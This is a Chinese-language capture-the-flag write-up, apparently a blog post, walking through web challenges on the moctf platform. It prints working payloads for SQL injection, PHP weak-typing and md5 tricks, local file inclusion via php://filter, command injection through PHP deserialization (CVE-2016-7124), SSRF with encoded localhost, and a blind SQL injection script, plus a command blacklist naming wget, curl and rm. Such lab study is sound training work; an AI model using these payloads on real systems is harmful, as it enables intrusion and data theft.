moctf-web探索與總結

moctf-web探索

上個星期剛剛重新開放Moctf平臺,作爲一隻半隻腳還沒踏進大門的webdog,記錄一下自己的web歷程。有什麼錯誤的地方,希望各位大佬指正。

0x01 一道水題

進入後,點擊查看源碼即可獲得flag
view-source:http://119.23.73.3:5001/web1/。

0x02 還是水題

一道考察html標籤屬性的題目,修改disabled與maxlength屬性

<input type="password" value="" disabled="disabled" name="password" maxlength="4">
=>
<input type="submit" value="提交">

0x03 訪問限制

提示:只允許使用NAIVE瀏覽器訪問!顯然考察user-agent,於是修改user-agent發包,發現回顯爲:只有香港記者才能訪問,於是又去修改Accept-Language,得到flag

User-Agent: NAIVE
Accept-Language: zh-HK,zh;q=0.9

插一個題外話,NAIVE瀏覽器讓我想到了黑曜石瀏覽器,做個題目時,我條件反射地先去go0gle了一下NAIVE瀏覽器,看看有木有這個瀏覽器-.-,想試一下的朋友們可以點擊

0x04 機器蛇

第一眼看到後,想到應該是考察js,然後就想F12看一下js代碼大體邏輯,emmmm,看完沒發現什麼,直到把翻到最下面,才意識到自己思路錯了。


提示<!–robots.txt–>,訪問發現flagxxxx.php,再次訪問,在註釋中可以得到flag

0x05 PHP黑魔法

看到名字,應該就能菜刀是php弱類型。進入提示:似乎少點什麼,查看源代碼,抓包均無果,考慮源碼泄漏,發現是index.php~源碼泄漏。

view-source:http://119.23.73.3:5001/web5/index.php~
=>
<?php
	$flag="moctf{**************}";
	if (isset($_GET['a'])&&isset($_GET['b'])) {
		$a=$_GET['a'];
		$b=$_GET['b'];
		if($a==$b) 	{
			echo "<center>Wrong Answer!</center>";
		}
		else {
			if(md5($a)==md5($b)) {
				echo "<center>".$flag."</center>"; 
				echo "By:daoyuan";
			}
			else echo "<center>Wrong Answer!</center>";
		}
	}

payload: ?a=QNKCDZO&b=240610708

0x06 我想要錢

源碼審計題目

<?php
    include "flag.php";
    highlight_file(__FILE__);
    if (isset($_GET['money'])) {
        $money=$_GET['money'];
        if(strlen($money)<=4&&$money>time()&&!is_array($money)){
            echo $flag;
        }
        else echo "Wrong Answer!";
    }
    else echo "Wrong Answer!";
?>

限制爲:money長度小於5,並且數值很大,不是數組。payload: ?money=4e10

0x07 登錄就對了

根據題目,是想讓我們登錄進去,首先是試弱口令,無果;再試萬能密碼,成功登錄,flag在源代碼中

payload:name = admin' or 1=1#&pass=1

0x08 文件包含

發現flfile=welcome.txt,於是嘗試LFI
payload:http://119.23.73.3:5001/web8/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
=>base64解碼得到flag

0x09 暴跳的老闆

抓包發現reponse裏面有提示

# reponse
HTTP/1.1 200 OK
Date: Fri, 02 Nov 2018 17:24:35 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Dear: MyBoss
Vary: Accept-Encoding
Content-Length: 137
Content-Type: text/html

於是攜帶參數請求
POST /web1/do.php HTTP/1.1
Host: 119.23.73.3:5006
Proxy-Connection: keep-alive
Content-Length: 22
Cache-Control: max-age=0
Origin: http://119.23.73.3:5006
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://119.23.73.3:5006/web1/post.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hgcbrc4a6o6p6v14dpd8prvdj2

postText=1&Dear=MyBoss

0x09 Flag在哪?

進入點擊get flag,回顯是there is no flag! 果斷抓包看一下,考察302重定向

帶有特徵的過程:
GET /web7/flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./where_is_flag.php
=>
GET /web7/./where_is_flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./I_have_a_flag.php
=>
GET /web7/././I_have_a_flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./I_have_a_frog.php
=>
GET /web7/./././I_have_a_frog.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./no_flag.php
=>
GET /web7/././././no_flag.php HTTP/1.1

emmm,follow rediretion沒有發現任何異常
唯一有價值的就是body中內容:

where is flag!
I have a flag
I have a frog!
ah~ guess where is flag!
There is no flag!

得知hint才知道,,這是一首歌曲:ppap,訪問flagfrog.php得到答案

0x10 美味的餅乾

登錄admin,發現可以登錄,抓包發現

Set-Cookie: login=ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D
解碼爲 user
於是再次編碼admin
MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
得到flag

0x11 沒時間解釋了

進入後,發現url爲http://119.23.73.3:5006/web2/index2.php,於是抓包,發現302重定向,得到提示:May be u need uploadsomething.php。訪問上傳頁面,隨便上傳一個,

filename: admin
concet: admin
路徑:http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin

訪問,顯示too low,猜測應該是,上傳文件會在一定的時間刪除嗎,並且路徑不變。於是bp.intrude走一波。

GET /web2/uploadsomething.php?filename=admin&content=admin HTTP/1.1
Host: 119.23.73.3:5006
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

a=§1§

attack後 ,瀏覽器訪問http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin即可得到flag

0x12 死亡退出

<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

有include函數,首先想到文件包含,但是tmp.php不可控,只能執行tmp.php,可控的是temp.php的內容,於是通過php危險函數file_put_contents()寫命令,c=bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php,即可拿到flag

涉及到的兩個知識點:
1、file_put_contents():
file_put_contents(file,data,mode,context)
data
要寫入的數據。類型可以是 string,array 或者是 stream 資源(如上面所說的那樣)。
如果 data 指定爲 stream 資源,這裏 stream 中所保存的緩存數據將被寫入到指定文件中,這種用法就相似於使用 stream_copy_to_stream() 函數。就是將context內容寫到data中。
題目中:使用php://filter/write=convert.base64-decode/resource=tmp.php,tmp.php中寫入內容,通過寫入base64解碼後的數據流實現,配合file_put_contents()使用進行寫命令
另外附上p牛對這個經典問題的分析
https://www.leavesongs.com/PENETRATION/php-filter-magic.html


2、base64 編碼
base64 解碼錶A-Z、a-z、0-9、+、/,其它的內容 base64 解碼會將其過濾掉,比如<?;>與空格,就會自動過濾掉
因爲題目中的 <?php exit;> => phpexit
base64 算法解碼時是4個byte一組,所以該題目如果phpexit正常解碼,不影響後面的一句話,就必須構造8個字符。在 <?php system('cat flag.php'); ?> base64編碼的前面加一個字母即可

0x13 火眼金睛

這個題目意在靠腳本編寫,做題時使用的非預期解,bp抓包後,在頁面中,搜索moctf的個數,攜帶參數repeater,即可拿到flag
附上預期解腳本:

import requests
import re
targeturl = "http://119.23.73.3:5001/web10"
r = requests.get(url=targeturl)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt =  re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
ans = {
    "answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=ans,cookies=r.cookies)
print s.content

0x14 UNSET

<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}

?>

分析邏輯:


需要執行include($_GET['file'])
=>
$_GET['file']爲flag.php,但是waf會過濾,那麼爲了完成這個目的,我們需要先繞過waf再讀flag.php


根據代碼邏輯可以發現
unset => waf檢測 => 再次賦值
那麼關鍵性代碼:

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }

我們需要做的就是把$_GET的參數unset,過了waf再賦值,再利用文件包含讀出flag.php的內容
過程:

1、
md5($_GET['flag'] ) == md5($_GET['daiker'])
=>
flag=QNKCDZO&daiker=s878926199a
2、
過waf
=>
以flag參數爲例子
GET: ?flag=QNKCDZO =>array('flag' => 'QNKCDZO')
post: _GET[x]=QNKCDZO
先進行處理post參數 
$$__R 是 $POST[_GET[x]] => array('_GET[x]' => 'QNKCDZO') => $__k 是 _GET[x] => $$__k 是 $_GET[x] 是 QNKCDZO,於是符合 $$__k == $__v,執行unset($_GET[x]),即$__GET[flag]被unset了。後來extract()再次賦值

payload:

POST /index.php?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
Host: 119.23.73.3:5101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

0x15 PUBG

http://120.78.57.208:6001/?LandIn=school 發現該處.bak源碼泄漏,下載index.php與class.php

# index.php
elseif($pos==="school")
        {
            echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
            $pubg=$_GET['pubg'];
            $p = unserialize($pubg);
        }

可以發現是php反序列化漏洞

# class.php
public function __destruct()
{
    waf($this->bag);
    if($this->weapon==='AWM')
    {
        $this->Get_air_drops($this->bag);
    }
}

public function Get_air_drops($b)
{
    $this->$b();
}

public function __call($method,$parameters) 
{
    $file = explode(".",$method);
    echo $file[0];
    if(file_exists(".//class$file[0].php"))
    {
        system("php  .//class//$method.php");
    }else
    {
        system("php  .//class//win.php");
    }
    die();
}  

分析邏輯與過程

    目的:
	__call()
	
	過程:
	唯一可控的爲__destruct()
	=> Get_air_drops($b)
	=> $this->$b();剛好可以調用__call()
	
	注意:
	__wakeup()不能執行
	$b爲命令 => $bag
	控制$bag即可
	$bag又經過waf處理
	
	做法:
	繞過__wakeup(),讀waf
	繞過waf,rce
	
	原理:
	繞過__wakeup()
	CVE-2016-7124反序列化漏洞,通過傳入錯誤的值繞過
	
	具體實現:
	從源碼中在class/下發現flag.php
	O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}
	=>
	O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}
	=>
	O:7:"sheldon":3:{s:3:"bag";s:13:"flag.|cat%20waf";s:6:"weapon";s:3:"AWM";}
	$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');
	=>
	O:7:"sheldon":3:{s:3:"bag";s:20:"flag.|cat%20class/flag";s:6:"weapon";s:3:"AWM";}
	
	個人提醒一下,/class/flag與class/flag不一樣

這裏做了一個反序列化的測試

<?php
	class sheldon{
		public function __construct()
        {
            echo "__construct()";
			echo "<br/>";
        }
		public function __wakeup()
        {
            echo "__wakeup()";
			echo "<br/>";
        }
		public function __call($method,$parameters)
        {
            echo "__call()";
			echo "<br/>";
        }
		public function __destruct()
        {
            echo "__destruct()";
			echo "<br/>";
        }
	}
	$a = new sheldon;
	$sa = serialize($a);
	echo $sa;
	echo "<br/>";
	$ua = unserialize($sa);
	var_dump($ua);
	echo "<br/>";
	var_dump(unserialize('O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}'));
	echo "<br/>";
	$a->b();

輸出結果:

	__construct() //new 調用的
	O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}
	__wakeup() //unserialize($a)調用的
	object(sheldon)#2 (2) { ["bag"]=> string(7) "nothing" ["weapon"]=> string(3) "M24" } 
	Notice: unserialize(): Unexpected end of serialized data in A:\tools\phpStudy\WWW\study1\pre.php on line 33
	__destruct() //unserialize($a)調用的
	
	Notice: unserialize(): Error at offset 64 of 65 bytes in A:\tools\phpStudy\WWW\study1\pre.php on line 33
	bool(false) 
	__call()	//$a->b()調用的
	__destruct() //unserialize('O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}')調用的
	__destruct() // 照應new

0x16 網站檢測

hint: doker -p 10001 80
說明80端口映射到10001,url參數可以進行ssrf
測試發現,必須http://moctf.com,過濾’127’,與點,flag.php使用url雙編碼

也考察url結構:方法//身份憑證@真是ip/路徑
有幾個payload
payload:url = http://www.moctf.com/0.0.0.0/%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
另外幾個可以把0.0.0.0 => 127.0.0.1
127.0.0.1
=> 8進制
017700000001
=> 16進制
0x7f000001 / 0x7f.1

0x17 簡單注入

查看源代碼發現注入點爲 ?id
測試發現空格,/**/,and,or,–+等被禁用
使用異或盲注
腳本:

import string
import requests
chars = '!@$%^&*()_+=-|}{ :?><[];,./`~'
string = string.ascii_letters+string.digits+chars
rs = requests.session()
flag = ""
# 錯誤的payload
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(database())),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1)='{1}')^'1"
# 正確payload
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1"
payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1"


for i in range(0, 500):

    # for j in string:
    for j in range(33, 127):
        url = payload.format(str(i), str(j))
        s = rs.get(url)
        # print url
        if 'Flag' in s.text:
            flag = flag + chr(j)
            print flag

得到flag,題外話,因爲注入姿勢不對,這個題目交flag,交了一天,emmmmmm,大佬們有興趣可以試試腳本上錯誤payload,能感受到當時的糾結的心情-.-(其實我在掩蓋自己菜的事實)。
記錄一下錯誤原因:

mysql> select (mid('Aa',1,1)='A');
+---------------------+
| (mid('Aa',1,1)='A') |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

mysql> select (mid('Aa',1,1)='a');
+---------------------+
| (mid('Aa',1,1)='a') |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

另可見個人blog: http://bey0nd.club/2018/11/02/1/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章